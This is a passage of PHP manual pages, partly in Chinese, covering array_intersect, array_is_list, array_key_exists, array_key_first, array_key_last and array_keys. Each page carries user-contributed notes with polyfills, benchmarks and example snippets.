function findMatchingArray( $needle, $haystack ) {
    foreach( $needle as $element ) {
        $test_element = (array) $element;
        if( count( $test_element ) == count( array_intersect( $test_element, $haystack ) ) ) {
            return $element;
        }

    }
    return false;
}
?>

Pretty tough to describe what I needed it to do, but it worked.  I don't know if anyone else out there needs something like this, but hope this helps.
Esfandiar -- e.bandari at gmail dot com 10-Aug-2008 12:44
Regarding array union:  Here is a faster version array_union($a, $b)

But it is not needed!  See below.

<?php
                                        //  $a = 1 2 3 4
    $union =                            //  $b =   2   4 5 6
        array_merge(
            $a,
            array_diff($b, $a)          //               5 6
        );                              //  $u = 1 2 3 4 5 6
?>

You get the same result with $a + $b.

N.B. for associative array the results of $a+$b and $b+$a are different, I think array_diff_key is used.

Cheers, E
stuart at horuskol dot co dot uk 07-Jul-2008 03:57
A clearer example of the key preservation of this function:

<?php

$array1 = array(2, 4, 6, 8, 10, 12);
$array2 = array(1, 2, 3, 4, 5, 6);

var_dump(array_intersect($array1, $array2));
var_dump(array_intersect($array2, $array1));

?>

yields the following:

array(3) {
  [0]=> int(2)
  [1]=> int(4)
  [2]=> int(6)
}

array(3) {
  [1]=> int(2)
  [3]=> int(4)
  [5]=> int(6)
}

This makes it important to remember which way round you passed the arrays to the function if these keys are relied on later in the script.
Malte 10-Feb-2008 10:34
Extending the posting by Terry from 07-Feb-2006 04:42:

If you want to use this function with arrays which have sometimes the same value several times, it won't be checked if they're existing in the second array as much as in the first.
So I delete the value in the second array, if it's found there:

<?php
$firstarray = array(1, 1, 2, 3, 4, 1);
$secondarray = array(4, 1, 6, 5, 4, 1);

//array_intersect($firstarray, $secondarray): 1, 1, 1, 4

foreach ($firstarray as $key=>$value){
    if (!in_array($value,$secondarray)){
        unset($firstarray[$key]);
    }else{
        unset($secondarray[array_search($value,$secondarray)]);
    }
}

//$firstarray: 1, 1, 4

?>
Niels 19-Sep-2006 04:53
Here is a array_union($a, $b):

<?php
                                        //  $a = 1 2 3 4
    $union =                            //  $b =   2   4 5 6
        array_merge(
            array_intersect($a, $b),    //         2   4
            array_diff($a, $b),         //       1   3
            array_diff($b, $a)          //               5 6
        );                              //  $u = 1 2 3 4 5 6
?>
nthitz at gmail dot com 08-Jun-2006 09:09
I did some trials and if you know the approximate size of the arrays then it would seem to be a lot faster to do this <?php array_intersect($smallerArray, $largerArray); ?> Where $smallerArray is the array with lesser items. I only tested this with long strings but I would imagine that it is somewhat universal.
terry(-at-)shuttleworths(-dot-)net 07-Feb-2006 07:42
I couldn't get array_intersect to work with two arrays of identical objects, so I just did this:

foreach ($firstarray as $key=>$value){
    if (!in_array($value,$secondarray)){
        unset($firstarray[$key]);
    }
}

This leaves $firstarray as the intersection.

Seems to work fine & reasonably quickly.
tom p 04-Nov-2005 06:54
If you store a string of keys in a database field and want to match them to a static array of values, this is a quick way to do it without loops:

<?

$vals = array("Blue","Green","Pink","Yellow");
$db_field = "0,2,3";

echo implode(", ", array_flip(array_intersect(array_flip($vals), explode(",", $db_field))));

// will output "Blue, Pink, Yellow"

?>
sapenov at gmail dot com 10-Jun-2005 01:11
If you need to supply arbitrary number of arguments
to array_intersect() or other array function,
use following function:

$full=call_user_func_array('array_intersect', $any_number_of_arrays_here);
blu at dotgeek dot org 14-Oct-2004 05:34
Note that array_intersect and array_unique doesnt work well with multidimensional arrays.
If you have, for example,

<?php

$orders_today[0] = array('John Doe', 'PHP Book');
$orders_today[1] = array('Jack Smith', 'Coke');

$orders_yesterday[0] = array('Miranda Jones', 'Digital Watch');
$orders_yesterday[1] = array('John Doe', 'PHP Book');
$orders_yesterday[2] = array('Z? da Silva', 'BMW Car');

?>

and wants to know if the same person bought the same thing today and yesterday and use array_intersect($orders_today, $orders_yesterday) you'll get as result:

<?php

Array
(
    [0] => Array
        (
            [0] => John Doe
            [1] => PHP Book
        )

    [1] => Array
        (
            [0] => Jack Smith
            [1] => Coke
        )

)

?>

but we can get around that by serializing the inner arrays:
<?php

$orders_today[0] = serialize(array('John Doe', 'PHP Book'));
$orders_today[1] = serialize(array('Jack Smith', 'Coke'));

$orders_yesterday[0] = serialize(array('Miranda Jones', 'Digital Watch'));
$orders_yesterday[1] = serialize(array('John Doe', 'PHP Book'));
$orders_yesterday[2] = serialize(array('Z? da Silva', 'Uncle Tungsten'));

?>

so that array_map("unserialize", array_intersect($orders_today, $orders_yesterday)) will return:

<?php

Array
(
    [0] => Array
        (
            [0] => John Doe
            [1] => PHP Book
        )

)

?>

showing us who bought the same thing today and yesterday =)

[]s
t dot wiltzius at insightbb dot com 23-Jun-2004 09:33
I needed to compare an array with associative keys to an array that contained some of the keys to the associative array. Basically, I just wanted to return only a few of the entries in the original array, and the keys to the entries I wanted were stored in another array. This is pretty straightforward (although complicated to explain), but I couldn't find a good function for comparing values to keys. So I wrote this relatively straightforward one:

<?php

function key_values_intersect($values,$keys) {
   foreach($keys AS $key) {
      $key_val_int[$key] = $values[$key];
      }
   return $key_val_int;
   }

$big = array("first"=>2,"second"=>7,"third"=>3,"fourth"=>5);
$subset = array("first","third");

print_r(key_values_intersect($big,$subset));

?>

This will return:

Array ( [first] => 2 [third] => 3 )
anbolb at boltblue dot com 09-Jan-2004 01:11
This is also handy for testing an array for one of a series of acceptable elements. As a simple example, if you're expecting the query string to contain one of, say, user_id, order_id or item_id, to find out which one it is you could do this:

<?php
    $valid_ids = array ('user_id', 'item_id', 'order_id');
    if ($id = current (array_intersect ($valid_ids, array_keys ($_GET))))
    {
        // do some stuff with it
    }
    else
        // error - invalid id passed, or none at all
?>

...which could be useful for constructing an SQL query, or some other situation where testing for them one by one might be too clumsy.
ben at kazez dot com 09-Dec-2003 10:49
To check whether an array $a is a subset of array $b, do the following:

<?php
if(array_unique($b + $a) === $b)
//...
?>

Actually, PHP ought to have a function that does this for you. But the above example works.
Alessandro Ranellucci alex at primafila dot net 16-Jul-2003 06:35
array_intersect($array1, $array2);
returns the same as:
array_diff($array1, array_diff($array1, $array2));
david at audiogalaxy dot com 09-Apr-2001 04:54
Note that array_intersect() considers the type of the array elements when it compares them.

If array_intersect() doesn't appear to be working, check your inputs using var_dump() to make sure you're not trying to intersect an array of integers with an array of strings.


判断给定的 array 是否为 list

  • ? array_intersect
  • array_key_exists ?
  • PHP Manual
  • 数组 函数
  • 判断给定的 array 是否为 list

array_is_list

(PHP 8 >= 8.1.0)

array_is_list — 判断给定的 array 是否为 list

说明

array_is_list(array $array): bool

判断指定的 array 是否是 list。如果 array 的 key 由 0 到 count($array)-1 的连续数字组成，则该数组就是 list。

参数

array

被检测的 array。

返回值

如果 array 是 list 就返回 true，否则返回 false。

示例

Example #1 array_is_list() 示例

<?php

array_is_list([]); // true
array_is_list(['apple', 2, 3]); // true
array_is_list([0 => 'apple', 'orange']); // true

// key 未从 0 开始
array_is_list([1 => 'apple', 'orange']); // false

// key 的顺序不正确
array_is_list([1 => 'apple', 0 => 'orange']); // false

// 包含非整数 key
array_is_list([0 => 'apple', 'foo' => 'bar']); // false

// 非连续 key
array_is_list([0 => 'apple', 2 => 'bar']); // false
?>

注释

Note:

空数组也会返回 true。

参见

  • array_values() - 返回数组中所有的值

User Contributed Notes

maruerru 16-Aug-2023 08:08
I think, this is the fastest polyfill:

<?php

if (!function_exists('array_is_list')) {
    function array_is_list(array $array)
    {
        return $array === array_values($array);
    }
}

?>
divinity76+spam at gmail dot com 10-May-2022 12:05
slightly optimized version of phpnet at jesseschalken dot com's excellent array_is_list:

<?php

if (!function_exists("array_is_list")) {
    function array_is_list(array $array): bool
    {
        $i = -1;
        foreach ($array as $k => $v) {
            ++$i;
            if ($k !== $i) {
                return false;
            }
        }
        return true;
    }
}

?>

benchmarks: https://3v4l.org/9BPqL

why is this faster you ask? because post-increment does more,

here is what pre-increment actually means:
step 1: increment the value by 1.
step 2: return the value.

here is what post-increment actually means:
step 1: create a copy of the original value.
step 2: increment the original value by 1.
step 3: return the copy.

another question might be "why didn't you write `if ($k !== ++$i) {` ?  ... that is a good question! turns out that ++$i;if($k!==$i){...} is faster on PHP7 than if($k !== ++$i){...} for reasons unknown to me.. (if you have an answer, feel free to email me about it!)

(i have NOT checked if PHP8/jit auto-optimize this stuff, but at least back in PHP7 it's true that pre-increment is faster than post-increment, and this polyfill is primarily for PHP7)
phpnet at jesseschalken dot com 22-Jan-2022 12:47
Polyfills that call `array_keys()`, `array_values()` or `range()` are inefficient because they create new arrays unnecessarily.

Please use this polyfill instead which creates no new arrays and only does a single pass over the given array.

<?php

if (!function_exists("array_is_list")) {
    function array_is_list(array $array): bool
    {
        $i = 0;
        foreach ($array as $k => $v) {
            if ($k !== $i++) {
                return false;
            }
        }
        return true;
    }
}

?>
info at ensostudio dot ru 13-Nov-2021 03:53
old school polyfill (:
<?php
if (!function_exists('array_is_list')) {
    function array_is_list(array $array)
    {
        if ($array === []) {
             return true;
        }
        $keys = array_keys($array);
        return $keys === array_keys($keys);
    }
}
?>
Matteo Galletti 10-Nov-2021 06:30
Polyfill implementation for PHP versions lower than 8.1.

<?php
if (!function_exists('array_is_list'))
{
    function array_is_list(array $a)
    {
        return $a === [] || (array_keys($a) === range(0, count($a) - 1));
    }
}
?>


检查数组里是否有指定的键名或索引

  • ? array_is_list
  • array_key_first ?
  • PHP Manual
  • 数组 函数
  • 检查数组里是否有指定的键名或索引

array_key_exists

(PHP 4 >= 4.0.7, PHP 5, PHP 7, PHP 8)

array_key_exists — 检查数组里是否有指定的键名或索引

说明

array_key_exists(string|int $key, array $array): bool

数组里有键 key 时，array_key_exists() 返回 true。 key 可以是任何能作为数组索引的值。

参数

key

要检查的键。

array

一个数组，包含待检查的键。

返回值

成功时返回 true， 或者在失败时返回 false。

Note:

array_key_exists() 仅仅搜索第一维的键。 多维数组里嵌套的键不会被搜索到。

示例

Example #1 array_key_exists() 例子

<?php
$search_array = array('first' => 1, 'second' => 4);
if (array_key_exists('first', $search_array)) {
echo "The 'first' element is in the array";
}
?>

Example #2 array_key_exists() 与 isset() 的对比

isset() 对于数组中为 null 的值不会返回 true，而 array_key_exists() 会。

<?php
$search_array = array('first' => null, 'second' => 4);

// 返回 false
isset($search_array['first']);

// 返回 true
array_key_exists('first', $search_array);
?>

注释

Note:

由于为了兼容以前版本，如果 object 当做 array 传入 array_key_exists()，同时 key 是对象的属性，也会返回 true。 此行为在 PHP 7.4.0 弃用且在 PHP 8.0.0 移除。

要检查对象是否有某个属性，应该使用 property_exists()。

参见

  • isset() - 检测变量是否已声明并且其值不为 null
  • array_keys() - 返回数组中部分的或所有的键名
  • in_array() - 检查数组中是否存在某个值
  • property_exists() - 检查对象或类是否具有该属性

User Contributed Notes

Rumour 18-Jul-2023 02:55
In PHP7+ to find if a value is set in a multidimensional array with a fixed number of dimensions, simply use the Null Coalescing Operator: ??

So for a three dimensional array where you are not sure about any of the keys actually existing

<?php

// instead of:
$exists = array_key_exists($key1, $arr) && array_key_exists($key2, $arr[$key1]) && array_key_exists($key3, $arr[$key1][$key2]) ;

// use:
$exists =  array_key_exists($key3, $arr[$key1][$key2]??[]) ;

?>
Julian 01-Mar-2023 03:18
When you want to check multiple array keys:

<?php

$array = [];
$array['a'] = '';
$array['b'] = '';
$array['c'] = '';
$array['d'] = '';
$array['e'] = '';

// all given keys a,b,c exists in the supplied array
var_dump(array_keys_exists(['a','b','c'], $array)); // bool(true)

function array_keys_exists(array $keys, array $array): bool
{
    $diff = array_diff_key(array_flip($keys), $array);
    return count($diff) === 0;
}
manhon824 at gmail dot com 18-May-2011 09:29
I took hours for me to debug, and I finally recognized that,

You have to reset the $array before using array_key_exists
reset($array);
array_key_exists($needle,$array);

Or you will get no reply.


获取指定数组的第一个键

  • ? array_key_exists
  • array_key_last ?
  • PHP Manual
  • 数组 函数
  • 获取指定数组的第一个键

array_key_first

(PHP 7 >= 7.3.0, PHP 8)

array_key_first — 获取指定数组的第一个键

说明

array_key_first(array $array): int|string|null

不影响到数组内部指针，取得指定数组的 array 第一个键。

参数

array

要操作的数组。

返回值

如果 array 不是空的，返回第一个键，否则返回 null。

示例

Example #1 array_key_first() 基本用法

<?php
$array = ['a' => 1, 'b' => 2, 'c' => 3];

$firstKey = array_key_first($array);

var_dump($firstKey);
?>

以上示例会输出：

string(1) "a"

注释

Tip

在 PHP 7.3.0 之前，有几种方式可以实现该功能。可以使用 array_keys() 函数，但是性能会比较低。也可以使用 reset() 和 key() 函数，但这可能会影响内部数组指针。实现该功能的 polyfill 写法如下:

<?php
if (!function_exists('array_key_first')) {
function array_key_first(array $arr) {
foreach($arr as $key => $unused) {
return $key;
}
return NULL;
}
}
?>

参见

  • array_key_last() - 获取一个数组的最后一个键值
  • reset() - 将数组的内部指针指向第一个单元

User Contributed Notes

MaxiCom dot Developpement at gmail dot com 09-Dec-2023 10:41
A polyfill serves the purpose of retroactively incorporating new features from PHP releases into older PHP versions, ensuring API compatibility.

In PHP 7.3.0, the array_key_first() function was introduced, demonstrated in the following example:

<?php

$array = [
    'first_key' => 'first_value',
    'second_key' => 'second_value',
];

var_dump(array_key_first($array));

?>

The provided polyfill in this documentation allows the convenient use of array_key_first() with API compatibility in PHP versions preceding PHP 7.3.0, where the function was not implemented:

<?php

if (!function_exists('array_key_first')) {
    function array_key_first(array $arr) {
        foreach ($arr as $key => $unused) {
            return $key;
        }
        return null;
    }
}

$array = [
    'first_key' => 'first_value',
    'second_key' => 'second_value',
];

var_dump(array_key_first($array));

?>
Anonymous 15-Aug-2023 11:13
The best way to polyfill array_key_first is:

$first_key = array_keys($array)[0] ?? NULL;


获取一个数组的最后一个键值

  • ? array_key_first
  • array_keys ?
  • PHP Manual
  • 数组 函数
  • 获取一个数组的最后一个键值

array_key_last

(PHP 7 >= 7.3.0, PHP 8)

array_key_last — 获取一个数组的最后一个键值

说明

array_key_last(array $array): int|string|null

取得指定数组的 array 最后一个键值，不会影响到原数组的内部指针。

参数

array

要操作的数组。

返回值

返回 array 的最后一个键值（如果不为空），否则返回 null。

参见

  • array_key_first() - 获取指定数组的第一个键
  • end() - 将数组的内部指针指向最后一个单元

User Contributed Notes

dracveg at gmail dot com 14-Jul-2021 05:07
Notice!

$a = array(
    1 => 1,
    0 => 0
);

echo (array_key_last($a)); // output: "0", not "1"
donaldinou at gmail dot com 02-Sep-2020 12:58
Here come my benchmark, and

return key(array_slice($array, -1));

is the my best answer for a polyfill.

<?php

function array_key_last_1(array $array) {
    // assert(!empty($array));
    return key(array_slice($array, -1));
}

function array_key_last_2(array $array) {
    return key(array_slice($array, -1, 1, true));
}

function array_key_last_3(array $array) {
    return key(array_reverse($array));
}

function array_key_last_4(array $array) {
    return array_keys($array)[count($array) - 1] ?? null;
}

function array_key_last_5(array $array) {
    return array_keys($array)[count($array) - 1] ?? null;
}

function array_key_last_6(array $array) {
    $copy = array_keys($array);
    return end($copy);
}

$result = array();
$array = range(0, 1000000);

for($i=1; $i < 7;$i++) {
  $callback = 'array_key_last_' . $i;
  $before = microtime(true);
  call_user_func_array($callback, array($array));
  $after = microtime(true);
  $time = ($after-$before);
  $result[$callback] = $time;
}

asort($result);
foreach ($result as $key => $value) {
    echo '[' . $key . ']' . $value . " sec" . PHP_EOL;
}
rnealxp at yahoo dot com 12-Apr-2020 03:18
Now that we have this function, where we once used...
<?php
$idxLast = count($arr) - 1;
?>
we can now optimize code speed by using...
<?php
$idxLast = (array_key_last($arr) ?? 0);
?>
Use-cases include lots of looping and control-structures.
If you do not know ahead of time that the array is numerically indexed, and that it could possibly be associative...safer/faster to stick with count().
williamdes at wdes dot fr 29-Mar-2020 09:43
https://www.php.net/manual/fr/function.array-key-last.php#123950

did return the first key of my array only:
"array_keys($array)[count($array) - 1] ?? null" works

I hope the example is fine for everyone else.

My array is:
[
            new NameExpression('d', 0),
            new NameExpression('f', 0),
            new NameExpression('g', 0),
]
webmaster at redinfo dot co dot kr 16-Oct-2019 06:09
// if : php ver < 7
// array_key_last

$arr = array('1'=>'bear1','2'=>array('22'=>'bear22'),'3'=>'bear3');
echo end(array_keys($arr));

// result : 3
contact at duzun dot me 03-Jul-2019 07:17
Try to beat this polyfill in terms of performance!

<?php
if( !function_exists('array_key_last') ) {
    function array_key_last(array $array) {
        if( !empty($array) ) return key(array_slice($array, -1, 1, true));
    }
}

// Bonus
if (!function_exists('array_key_first')) {
    function array_key_first(array $arr) {
        foreach($arr as $key => $unused) return $key;
    }
}
?>
ccb_bc at hotmail dot com 28-Jun-2019 04:15
<?php
    // PHP >= 7
    function _array_key_last(array $array){
        return (!empty($array)) ? array_keys($array)[count($array)-1] : null;
    }
    var_dump(_array_key_last(['PHP', 'Javascript', 'Python'])); // 2
 ?>
github / k-gun 18-Jun-2019 04:41
For those who loves tested candies;

<?php
function array_key_last(array $array) {
    // 100000 iters: ~0.068 secs
    return key(array_slice($array, -1));
    // 100000 iters: ~0.070 secs
    return key(array_reverse($array));
    // 100000 iters: ~0.088 secs
    return array_keys($array)[count($array) - 1] ?? null;
}
?>
rotexdegba007-github at yahoo dot ca 16-Jun-2019 04:54
This polyfill works for PHP 5.6+.
It is a slight modification of "wes at nospam dot example dot org"'s example:

<?php

    if( !function_exists('array_key_first') ) {

        function array_key_first(array $array) {

            if( $array === [] ) { return NULL; }

            foreach($array as $key => $_) { return $key; }
        }
    }

    if( !function_exists('array_key_last') ) {

        function array_key_last(array $array) {

            if( $array === [] ) { return null; }

            // the last 2 args to array_slice are crucial
            return array_key_first(array_slice($array, -1, null, true));
        }
    }
wes at nospam dot example dot org 09-May-2019 09:37
Correct polyfill (one that doesn't make copies of arrays, and that doesn't make use of the IAP) is:

<?php

if(!function_exists('array_key_first')){
    function array_key_first(array $array){
        if($array === []){
            return NULL;
        }
        foreach($array as $key => $_) return $key;
    }
}

if(!function_exists('array_key_last')){
    function array_key_last(array $array){
        if($array === []){
            return NULL;
        }
        return array_key_first(array_slice($array, -1));
    }
}

?>
@manzoorwanijk 27-Oct-2018 09:41
For PHP < 7.3.0 :

Will work for any type of array

<?php
if ( ! function_exists( 'array_key_last' ) ) {
    /**
     * Polyfill for array_key_last() function added in PHP 7.3.
     *
     * Get the last key of the given array without affecting
     * the internal array pointer.
     *
     * @param array $array An array
     *
     * @return mixed The last key of array if the array is not empty; NULL otherwise.
     */
    function array_key_last( $array ) {
        $key = NULL;

        if ( is_array( $array ) ) {

            end( $array );
            $key = key( $array );
        }

        return $key;
    }
}
?>
Anyvie at devlibre dot fr 08-Aug-2018 10:21
For PHP <= 7.3.0 :

if (! function_exists("array_key_last")) {
    function array_key_last($array) {
        if (!is_array($array) || empty($array)) {
            return NULL;
        }

        return array_keys($array)[count($array)-1];
    }
}


返回数组中部分的或所有的键名

  • ? array_key_last
  • array_map ?
  • PHP Manual
  • 数组 函数
  • 返回数组中部分的或所有的键名

array_keys

(PHP 4, PHP 5, PHP 7, PHP 8)

array_keys — 返回数组中部分的或所有的键名

说明

array_keys(array $array): array
array_keys(array $array, mixed $filter_value, bool $strict = false): array

array_keys() 返回 input 数组中的数字或者字符串的键名。

如果指定了可选参数 filter_value，则只返回该值的键名。否则 input 数组中的所有键名都会被返回。

参数

input

一个数组，包含了要返回的键。

filter_value

如果指定了这个参数，只有包含此值的键才会返回。

strict

判断在搜索的时候是否该使用严格的比较（===）。

返回值

返回 input 里的所有键。

示例

Example #1 array_keys() 例子

<?php
$array = array(0 => 100, "color" => "red");
print_r(array_keys($array));

$array = array("blue", "red", "green", "blue", "blue");
print_r(array_keys($array, "blue"));

$array = array("color" => array("blue", "red", "green"),
"size" => array("small", "medium", "large"));
print_r(array_keys($array));
?>

以上示例会输出：

Array
(
    [0] => 0
    [1] => color
)
Array
(
    [0] => 0
    [1] => 3
    [2] => 4
)
Array
(
    [0] => color
    [1] => size
)

参见

  • array_values() - 返回数组中所有的值
  • array_combine() - 创建一个数组，用一个数组的值作为其键名，另一个数组的值作为其值
  • array_key_exists() - 检查数组里是否有指定的键名或索引
  • array_search() - 在数组中搜索给定的值，如果成功则返回首个相应的键名

User Contributed Notes

vittorh at outlook dot com 17-Aug-2023 08:44
Hello friends

Guys in the array_keys function manual - https://www.php.net/manual/pt_BR/function.array-keys.php

it is described that in the second search parameter " $filter_value " is defined in mixed type, however in php 7.4 to version 8.1 when passing a $filter_value of type array, the function without returning false ( empty array )

Exemple :

$array = ['a' => 1, 'b' => 2];

var_dump(array_keys($array,array('a','b'))); // return array(0) { }
var_dump(array_keys($array,array('a','b'))); // return array(0) { }
var_dump(array_keys($array,'a')); // return array(0) { }

Debugging the code, I believe that the description of the $filter_value parameter is confusing, as it is understood that the value of the key in the array has to be the specified value and not the content of the key
Md. Abutaleb 20-Feb-2020 06:19
<?php
# array_keys() also return the key if it's boolean but the boolean will return as 1 or 0. It will return empty if get NULL value as key. Consider the following array:

$a = array(
      "first_index" => "This is the first element",
      true => 3,
      false => 2,
      4.5 => 'Something',
      "08" => 5,
      "8" => 6,
      NULL => 'Null key'
    );

print_r(array_keys($a));

Array
(
    [0] => first_index
    [1] => 1
    [2] => 0
    [3] => 4
    [4] => 08
    [5] => 8
    [6] =>
)

?>
enrique dot balleste at gmail dot com 01-Mar-2017 09:33
A nice little trick to get all of the keys who have some type of value:

$keys = array_keys($array, !null);
ayyappan dot ashok at gmail dot com 19-Apr-2016 06:18
Post By  Sven (59892) has to be changed

$array = array('first'=>'111', 'second'=>'222', 'third'=>'333');

$rarray = array_keys($array);

print array_shift($rarray); // first

print array_pop($rarray); //thrid

print array_shift($rarray); //second

print array_pop($rarray); // no result

Code below is not valid from 5.4.0

print array_shift(array_keys($array)); Throws Strict Standards Error

Sven code works fine till 5.3.29. From 5.4.0  the standards have been changed and results too differ.

Note :
Strict Standards :  Only variables should be passed by reference

Please have look of the code in different versions

http://sandbox.onlinephpfunctions.com/code/24b5fddf14b635f1e37db69a7edffc2cbbed55e1

http://sandbox.onlinephpfunctions.com/code/f695e8f81e906b4f062b66cf9b3b83b6b620464c
Robert C. 12-Feb-2016 02:22
Keys from multi dimensional array to simple array

Want to traverse an multi dimensional array and get the keys back in a single dimensional array? This will do the trick:

<?php

    public function array_walk_keys($array, $parentKey = null, &$flattened_array = null)
    {
        if(!is_array($array))
            return $array;

        foreach( $array as $key => $val ) {
            $flattenedKeysArray[] = $key;

            if(is_array($val))
                array_walk_keys($val, $key, $flattenedKeysArray);
        }

        return $flattenedKeysArray;
    }
Paul Hirsch 30-Mar-2015 04:31
It is worth noting that array_keys does not maintain the data-type of the keys when mapping them to a new array.  This created an issue with in_array and doing  a lookup on characters from a string.  NOTE:  my lookup $array has a full map of numbers and characters - upper and lower - to do an simple faux encryption with.

<?php
$array = array(
     'e' => 'ieio'
    ,'1' => 'one'
    ,'2' => 'two'
    ,'0' => 'zero'
);
var_dump($array);
$keys = array_keys($array);
var_dump($keys);

$string = '1e0';
for ($i = 0; $i < strlen($string); $i++) {
    if (in_array($string[$i],$keys,'strict')) echo 'dude ';
    else echo 'sweet ';
}
?>

Outputs:
array (size=4)
  'e' => string 'ieio' (length=4)
  1 => string 'one' (length=3)
  2 => string 'two' (length=3)
  0 => string 'zero' (length=4)

array (size=4)
  0 => string 'e' (length=1)
  1 => int 1
  2 => int 2
  3 => int 0

sweet dude sweet

----
expected to see:
dude dude dude
Ian (maxianos at hotmail dot com) 09-Mar-2014 03:41
There's a lot of multidimensional array_keys function out there, but each of them only merges all the keys in one flat array.

Here's a way to find all the keys from a multidimensional  array while keeping the array structure. An optional MAXIMUM DEPTH parameter can be set for testing purpose in case of very large arrays.

NOTE: If the sub element isn't an array, it will be ignore.

<?php
function array_keys_recursive($myArray, $MAXDEPTH = INF, $depth = 0, $arrayKeys = array()){
       if($depth < $MAXDEPTH){
            $depth++;
            $keys = array_keys($myArray);
            foreach($keys as $key){
                if(is_array($myArray[$key])){
                    $arrayKeys[$key] = array_keys_recursive($myArray[$key], $MAXDEPTH, $depth);
                }
            }
        }

        return $arrayKeys;
    }
?>

EXAMPLE:
input:
array(
    'Player' => array(
        'id' => '4',
        'state' => 'active',
    ),
    'LevelSimulation' => array(
        'id' => '1',
        'simulation_id' => '1',
        'level_id' => '1',
        'Level' => array(
            'id' => '1',
            'city_id' => '8',
            'City' => array(
                'id' => '8',
                'class' => 'home',
            )
        )
    ),
    'User' => array(
        'id' => '48',
        'gender' => 'M',
        'group' => 'user',
        'username' => 'Hello'
    )
)

output:
array(
    'Player' => array(),
    'LevelSimulation' => array(
        'Level' => array(
            'City' => array()
        )
    ),
    'User' => array()
)
zammit dot andrew at gmail dot com 16-Nov-2013 04:06
If an array is empty (but defined), or the $search_value is not found in the array, an empty array is returned (not false, null, or -1). This may seem intuitive, especially given the documentation says an array is returned, but I needed to sanity test to be sure:

<?php

$emptyArray = array();
var_dump(array_keys($emptyArray,99)); // array (size=0) \ empty

$filledArray = array(11,22,33,42);
var_dump(array_keys($filledArray,99)); // array (size=0) \ empty

?>
phpnet at holodyn dot com 24-Oct-2013 05:17
Since 5.4 STRICT standards dictate that you cannot wrap array_keys in a function like array_shift that attempts to reference the array.

Invalid:
echo array_shift( array_keys( array('a' => 'apple') ) );

Valid:
$keys = array_keys( array('a' => 'apple') );
echo array_shift( $keys );

But Wait! Since PHP (currently) allows you to break a reference by wrapping a variable in parentheses, you can currently use:

echo array_shift( ( array_keys( array('a' => 'apple') ) ) );

However I would expect in time the PHP team will modify the rules of parentheses.
anthony at berglas dot org 03-Apr-2012 05:32
It should be noted that the inverse function to keys (which converts keys to values) is array_count_values (which converts values to keys).  This is needed to use things like array_intersect_key.  Could go in several places.  Took me a while to figure it out.
Na&#39;ven Enigma 10-Mar-2012 07:41
I was trying to figure out how to normalize an array with numerical keys.  Since I was doing for() for a lot of things, but only replacing it if the conditions were right, I wound up with off ball arrays I couldn't access.  That being said, I looked for a method of normalizing the array and couldn't find one, so I built my own.  I'm not sure how to go about making it recursive, but I didn't need that feature for my own, so I just went without recursion.

//This will take array([5] => "test1", [4] => "test2", [9] => "test3") into array([0] => "test1", [1] => "test2", [2] => "test3") so you can access it easier.
        function normalize_array($array){
          $newarray = array();
          $array_keys = array_keys($array);
          $i=0;
          foreach($array_keys as $key){
           $newarray[$i] = $array[$key];

          $i++;
          }
          return $newarray;
        }
qeremy [atta] gmail [dotta] com 05-Mar-2012 05:50
Simple ways to prefixing arrays;

<?php
function array_keys_prefix($arr, $pref = "") {
    $rarr = array();
    foreach ($arr as $key => $val) {
        $rarr[$pref.$key] = $val;
    }
    return $rarr;
}

function array_keys_prefix_multi($arr, $pref = "") {
    $rarr = array();
    foreach ($arr as $key => $val) {
        $rarr[] = array_keys_prefix($val, $pref);
    }
    return $rarr;
}

// $a = array("foo" => "FOO", "bar" => "BAR", "baz" => "BAZ"); // or
$a = array("foo" => "FOO", "bar" => "BAR", "baz" => array(1,2,3));
print_r(array_keys_prefix($a, "my_"));

// db fetch...
$products = array(
    array("id" => 1, "name" => "Foo"),
    array("id" => 2, "name" => "Bar")
);
print_r(array_keys_prefix_multi($products, "product_"));
?>

Array
(
    [my_foo] => FOO
    [my_bar] => BAR
    [my_baz] => Array
        (
            [0] => 1
            [1] => 2
            [2] => 3
        )

)
Array
(
    [0] => Array
        (
            [product_id] => 1
            [product_name] => Foo
        )

    [1] => Array
        (
            [product_id] => 2
            [product_name] => Bar
        )

)
izzecold at live dot de 10-Jan-2012 09:21
<?php

/* A Function created by myself for checking multiple array keys
For Example u got an Array like $_SESSION and u wanna know if the keys 'user','pass','email' and 'type' exists.

*/

function mKeyChecker($arr,$keys=array()) {
    if(count($keys) > 1) {
        $valid_keys = 0;
        foreach($keys as $key) {
            if(array_key_exists($key,$arr)) $valid_keys++;
        }
        if($valid_keys == count($keys)) {
            return true;
        } else {
            return false;
        }
    } else if(count($keys) == 1) {
        if(array_key_exists($key[0],$arr)) {
            return true;
        } else {
            return false;
        }
    } else {
        return false;
    }
}

// Execution Example

if(mKeyChecker($_SESSION,array('id','user','email','type'))) {
    echo "is!";
} else {
    echo "not!";
}

?>
craig1231 at hotmail dot com 22-Dec-2011 03:41
A needed a function to find the keys which contain part of a string, not equalling a string...

<?php
function array_keys_contain($input, $search_value, $strict = false)
    {
        $tmpkeys = array();

        $keys = array_keys($input);

        foreach ($keys as $k)
        {
            if ($strict && strpos($k, $search_value) !== FALSE)
                $tmpkeys[] = $k;
            elseif (!$strict && stripos($k, $search_value) !== FALSE)
                $tmpkeys[] = $k;
        }

        return $tmpkeys;
    }
?>
el dot quick at gmail dot com 23-Sep-2011 08:23
Sorry for my english...

I wrote a function to get keys of arrays recursivelly...

<?php
    function recursive_keys($input, $search_value = null){

        $output = ($search_value !== null ? array_keys($input, $search_value) : array_keys($input)) ;
        foreach($input as $sub){
            if(is_array($sub)){
                $output = ($search_value !== null ? array_merge($output, recursive_keys($sub, $search_value)) : array_merge($output, recursive_keys($sub))) ;
            }
        }
        return $output ;
    }
?>

I hope it will be usefull

Regards
pat dot leblanc at gmail dot com 29-Aug-2011 02:05
It's worth noting that if you have keys that are long integer, such as '329462291595', they will be considered as such on a 64bits system, but will be of type string on a 32 bits system.

for example:
<?php

$importantKeys = array('329462291595' =>null, 'ZZ291595' => null);

foreach(array_keys($importantKeys) as $key){
    echo gettype($key)."\n";
}

?>

will return on a 64 bits system:
<?php
    integer
    string
?>

but on a 32 bits system:
<?php
    string
    string
?>

I hope it will save someone the huge headache I had :)
ferrerna at gmail dot com 23-Jan-2009 09:14
Here's a function I needed to collapse an array, in my case from a database query.  It takes an array that contains key-value pairs and returns an array where they are actually the key and value.

<?php

function array_collapse($arr, $x, $y) {
    $carr = array();
    while ($el = current($arr)) {
        $carr[ $el[$x] ] = $el[$y];
        next($arr);
    }
    return $carr;
}

?>

Example usage (pseudo-database code):

<?php

$query = db_query('SELECT name, value FROM properties');

$result = db_returnAll($query);

